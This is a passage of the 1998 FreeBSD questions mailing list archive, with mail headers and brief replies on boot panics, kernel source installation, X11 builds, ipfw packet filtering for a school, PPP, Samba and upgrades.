I specify to the make file(s) that I want to > use a different compiler? Thanks. A shot in the dark guess -- set the CC variable? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:33:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA13418 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:33:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA13409 for ; Fri, 10 Apr 1998 23:33:06 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28669; Fri, 10 Apr 1998 23:32:58 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:32:58 -0700 (PDT) From: Doug White Reply-To: Doug White To: Frank Bonnet cc: freebsd-questions@FreeBSD.ORG Subject: Re: PowerPC ports ? In-Reply-To: <352DCF26.DAA02F68@bart.esiee.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Frank Bonnet wrote: > Will FreeBSD be port to the PowerPC architecture ? If someone is willing to take up the effort and coordination necessary, and get someone to supply/donate hardware.... Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:33:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA13579 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:33:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA13317 for ; Fri, 10 Apr 1998 23:32:19 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28665; Fri, 10 Apr 1998 23:32:17 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:32:17 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jeff Umscheid cc: freebsd-questions@FreeBSD.ORG Subject: Re: Booting In-Reply-To: <352DC389.5265@wco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Jeff Umscheid wrote: > I installed FreeBSD fine. The problem is during the boot sequence. > When I boot FBSD, it goes throught the hardware probing and everyhting > fine, then I get this: > > panic: cannot mount root > > Then is syncs the disks and reboots. How will I fix this problem? What's your disk configuration? This may help: If you get the message: panic: Cannot mount root At the end of the probe sequence you should either: 1. Have the line: config kernel root on wd2 in your kernel config, OR: 2. Rename the second disk to wd1 in the kernel config (comment out the original wd1 line and change the wd2 line to read wd1, leaving all other parameters unchanged). Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:39:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA14511 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:39:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA14504 for ; Fri, 10 Apr 1998 23:39:09 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28676; Fri, 10 Apr 1998 23:39:01 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:39:01 -0700 (PDT) From: Doug White Reply-To: Doug White To: aj@gims.net cc: freebsd-questions@FreeBSD.ORG Subject: Re: Kernel files In-Reply-To: <352E1644.F1EA9475@gims.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998 aj@gims.net wrote: > I need to build a cutome kernel but am not sure what files I need to > load the source on my server. Is there one tar file that will build the > source directory or do I need to pull the contents of a directory down > to my server? I don't currently have the kernel source code on my > server. You need the ssys.* files in the src/ directory for your release on the CD or FTP site. If you have the CD and can mount it, running `cd /cdrom/src; ./install.sh sys' is the easy way. Otherwise run `cd /usr/src; cat /path/to/ssys.* | tar xzf -'. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:43:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA15784 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:43:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA15763 for ; Fri, 10 Apr 1998 23:43:44 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28683; Fri, 10 Apr 1998 23:43:42 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:43:42 -0700 (PDT) From: Doug White Reply-To: Doug White To: David Martinsen cc: freebsd-questions@FreeBSD.ORG Subject: Re: boot.config and boot.help In-Reply-To: <000901bd649b$dd8dad00$08438cd1@dave> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, David Martinsen wrote: > I ran the installation from a dos partition on a 2nd HDD which I later > removed from the system. > > The installation copied all of the files and I did not see any error > messages, however, after exiting the setup and rebooting I get the error > message 'can't find file boot.config' and 'can't find file boot.help', > and after that I get the 'boot:' prompt and the only message that I can > get with that is 'can't find kernel'. Hm, this would imply that the installation failed or went to a different destination than what you were expecting. Try running `?' from the Boot: prompt and see what you get; you should get a listing of files in the root directory, and one of them may be called kernel.GENERIC. > The current boot default is 0:wd(0,a)kernel and i have tried every > combination that i know of thinking that the kernel maybe on a different > partition. What's your disk layout now? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:45:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA16226 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:45:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA16218 for ; Fri, 10 Apr 1998 23:45:13 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28690; Fri, 10 Apr 1998 23:45:02 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:45:02 -0700 (PDT) From: Doug White Reply-To: Doug White To: John Cuzzola cc: freebsd-questions@FreeBSD.ORG Subject: Re: Imake and XWindows In-Reply-To: <352E5484.14F8AC4E@esic.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, John Cuzzola wrote: > I'm trying to compile a XWindows port, but I always get the error > message: > > Imakefile.c can't find file Imake.tmpl > stop (error 33) You need to install the prog distribution. Find X332prog.tgz on your install media and install it from /usr/X11R6. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:48:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA16812 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:48:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA16791 for ; Fri, 10 Apr 1998 23:48:03 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28695; Fri, 10 Apr 1998 23:47:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:47:59 -0700 (PDT) From: Doug White Reply-To: Doug White To: Luiz Lins cc: "freebsd-questions@FreeBSD.ORG" Subject: Re: Fatal Trap 12 In-Reply-To: <352E5FB9.FFE53271@linkoteca.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Luiz Lins wrote: > Greetings. > > I have a FreeBSD-2.2.5 RELEASE runnung in a P133 48Mb RAM, HD SCSI > 4.1 Gb, adaptec 2940 controller..... > > Everything was OK, when a few days ago, the machine began to lock > and reboot automaitically. When it occurs, I get the following message: > > FATAL TRAP 12: PAGE FAULT WHILE IN KERNEL MODE. > > What does it mean? Is a hardware or software error? Can't tell. We need the full panic output that accompanies this -- including all the funny addresses and such. And preferably not in all caps :) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:49:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA17203 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:49:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA17179 for ; Fri, 10 Apr 1998 23:49:02 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28699; Fri, 10 Apr 1998 23:49:00 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:49:00 -0700 (PDT) From: Doug White Reply-To: Doug White To: Edward naillon cc: freebsd-questions@FreeBSD.ORG Subject: Re: Packet Filter for High School In-Reply-To: <01bd64af$b41a0360$0100a8c0@server.ior.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Edward naillon wrote: > We have installed a linux proxy/cache server that filters out > innapropriate internet sites from our students. The problem is that we > have no packet level enforcement. Students can go around this server and > straight to the internet. Our State ISP is being stubborn about > modifying our wellfleet router to allow only packets from our proxy > server (and several select workstations) to pass. Can I do this with a > freebsd system? All it needs to do is deny any ip addresses from passing > that are not in an allowed list. Thanks in advance for any ideas. Ed > Naillon Absolutely! FreeBSD comes with ipfw, a IP packet filtering tool. You could probably run your proxy on the FreeBSD box too. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:53:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA17896 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:53:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA17886 for ; Fri, 10 Apr 1998 23:52:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28707; Fri, 10 Apr 1998 23:52:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:52:48 -0700 (PDT) From: Doug White Reply-To: Doug White To: Michael C Cambria cc: freebsd-questions@FreeBSD.ORG Subject: Re: Router Discovery using routed(8) In-Reply-To: <199804101917.AA28095@world.std.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Michael C Cambria wrote: > What I don't understand when testing the route discovery client is why I > am seeing sendto(224.0.0.2) "No Route to Host" and sendto(224.0.0.9) "No > Route to Host" messages at boot time (as well as at regular intervals after > boot.) What I add a default route to rc.conf and reboot, I don't see these > messages anymore (even when the default router is to a non-existant > gateway.) So it seems that router discover in routed wants a route to > exist to 224.0.0.0 > > Doesn't the need to define a route defeat the purpose of router discovery? 224.* is the multicast network. It may not be set up correctly on your router(s) but you still have static references in /etc/rc.conf. Unless you're using multicast you can ignore these. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:53:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA18256 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:53:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA18232 for ; Fri, 10 Apr 1998 23:53:49 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28715; Fri, 10 Apr 1998 23:53:47 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:53:47 -0700 (PDT) From: Doug White Reply-To: Doug White To: kris@airnet.net cc: questions@FreeBSD.ORG Subject: Re: Hard errors? In-Reply-To: <352E7865.E8419E0C@ninbox.ml.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Kris Kirby wrote: > I'm getting: > > wd1s2e: hard error reading fsbn 395160 (wd1s2 bn 395160; cn 392 tn 0 sn > 24)wd1: status 59 error 40 > > Am I correct to assume that this is a IDE bad sector? I would be inclined to think so. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:54:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA18569 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:54:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uniqsite.uniqsite.com. (timm@uniqsite.com [206.14.149.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA18515 for ; Fri, 10 Apr 1998 23:54:28 -0700 (PDT) (envelope-from timm@uniqsite.com) Received: from localhost (timm@localhost) by uniqsite.uniqsite.com. (8.8.7/8.8.7) with SMTP id XAA12085; Fri, 10 Apr 1998 23:54:14 -0700 (PDT) (envelope-from timm@uniqsite.com) Date: Fri, 10 Apr 1998 23:54:14 -0700 (PDT) From: Tim Moony To: Doug White cc: FreeBSD Questions Forum Subject: Re: Is NE3200 now supported? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Doug White wrote: > Date: Fri, 10 Apr 1998 23:30:06 -0700 (PDT) > From: Doug White > Reply-To: Doug White > To: Tim Moony > Cc: FreeBSD Questions Forum > Subject: Re: Is NE3200 now supported? > > On Thu, 9 Apr 1998, Tim Moony wrote: > > > Last time I checked, there were questions asking "is n3200 supported" in > > the mailing list, but no answers. > > > > Is the card supported now? > > I can't find any references to it, no. > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > Well, thanks anyway. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:54:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA18696 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:54:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA18631 for ; Fri, 10 Apr 1998 23:54:49 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28711; Fri, 10 Apr 1998 23:53:27 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:53:27 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Lenzi, Sergio" cc: questions@FreeBSD.ORG Subject: Re: Network limiter (again).. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Lenzi, Sergio wrote: > Hello all > > this week I have seen a question about network limiter (bandwidth) > but I have lost the email info > It had subject: network throtle > > Please send me where to find some information about limiting the > network bandwidth on a ethernet port Check the mail archives for information on ALTQ. For a commercial product, see www.etinc.com. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:57:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA19430 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:57:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA19376 for ; Fri, 10 Apr 1998 23:57:10 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28722; Fri, 10 Apr 1998 23:57:07 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:57:07 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Stephen A. Derdau" cc: freebsd-questions@FreeBSD.ORG Subject: Re: Sound card problems. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Stephen A. Derdau wrote: > I Have the cd-rom music playing through the sound card. > Can't get much more to work. ie mic or have other sound files play. What version of FreeBSD are you using? If you're using 2.2.6 you might consider trying the pcm0 driver. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:59:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA20140 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:59:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cougar.iti2.net (cougar.wic.net [207.174.65.243]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA20130 for ; Fri, 10 Apr 1998 23:59:21 -0700 (PDT) (envelope-from KZinti@iti2.net) Received: from KAYLANA (kzinti@kzinti.wic.net [207.174.65.226]) by cougar.iti2.net (8.8.5/8.7.3) with SMTP id AAA13484 for ; Sat, 11 Apr 1998 00:57:27 -0600 Message-ID: <352F13E2.1AE2@iti2.net> Date: Sat, 11 Apr 1998 00:55:30 -0600 From: Kzinti Reply-To: kzinti@iti2.net Organization: Arkaic Software X-Mailer: Mozilla 2.02 (OS/2; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: extremely annoying problem :( Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm having a really nasty problem with PPP... The problem only occurs after I make world, and reboot. I then connect to my isp, and for some unknown reason whenever I try to ping a site it says ping: sendto: no route to host. After the connection to the isp is negotiated NO data is sent nor received... No configuration files such as rc.conf have been edited, although I think the problem is rooted somewhere in there... I have taken the question to the #freebsd channel on EFnet, where some people said the config files were probably either overwritten by me (not make world) or it is something else. This problem has occured *every single time I have ever used make world). different distributions and all. Dean Thomson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:01:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA20591 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:01:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA20574 for ; Sat, 11 Apr 1998 00:01:01 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28765; Sat, 11 Apr 1998 00:00:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:00:58 -0700 (PDT) From: Doug White Reply-To: Doug White To: James Lou cc: freebsd-questions@FreeBSD.ORG Subject: Re: Can't start PPP In-Reply-To: <352ECDF6.52DC4029@ms11.hinet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, James Lou wrote: > I have a PPP problem. When I run ppp, it got a message: > ld.so failed: Can't find shared library "libdes.so.7.5" What version of FreeBSD are you running? I don't have a libdes.so.7.5. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:02:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA21078 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:02:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA21063 for ; Sat, 11 Apr 1998 00:02:33 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28772; Sat, 11 Apr 1998 00:01:30 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:01:30 -0700 (PDT) From: Doug White Reply-To: Doug White To: Capriotti cc: freebsd-questions@FreeBSD.ORG Subject: Re: Samba issue In-Reply-To: <3.0.32.19980410222618.00925c10@pop.mpc.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Capriotti wrote: > Hello, all. > > It's ironic that I have helped some ppl out with Samba and now I can't make > it work myself. > > the error msg from the log file is: > > >Get_Hostbyname: Unknown host brain.mpc.com.br. > >Added interface ip=150.150.150.156 bcast=150.150.150.255 nmask=255.255.255.0 > >Get_Hostbyname: Unknown host. brain.mpc.com.br > > > I had to use the interfaces parameter under [global] to make samba > recognize my interface card. > > It seems to be a DNS problem; I don't have DNS installed on this machine. > > It's a 2.2.5R with the samba pkg provided in the CD. > > Any takers ? Uummm, add brain.mpc.com.br to /etc/hosts ??? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:04:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA21608 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:04:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA21595 for ; Sat, 11 Apr 1998 00:03:55 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA28776; Sat, 11 Apr 1998 00:03:46 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sat, 11 Apr 1998 00:03:46 -0700 (PDT) From: Doug White Reply-To: Doug White To: Gavin Cameron cc: questions@FreeBSD.ORG Subject: Re: Upgrade question (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Gavin Cameron wrote: > I've got three servers servicing around 800 users which I need to upgrade > to -stable over the easter break. ok. > Email, WWW server, squid proxy, router running ip-filter, majordomo > Machine is running 2.1.6-RELEASE > > Can I upgrade the machine by doing a make world of stable and compiling a > new kernel? I always felt that the `make world' upgrade path was the hard way. I always use the boot floppy -> select `upgrade' method but that's me. > For the 2 2.2.1-RELEASE boxes I should just be able to make world and > compile a new kernel, shouldn't I? No known problems, but watch that the new login class limits in /etc/login.conf don't start biting larger jobs. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 00:04:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA22014 for freebsd-questions-outgoing; Sat, 11 Apr 1998 00:04:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA22003 for ; Sat, 11 Apr 1998 00:04:48 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id 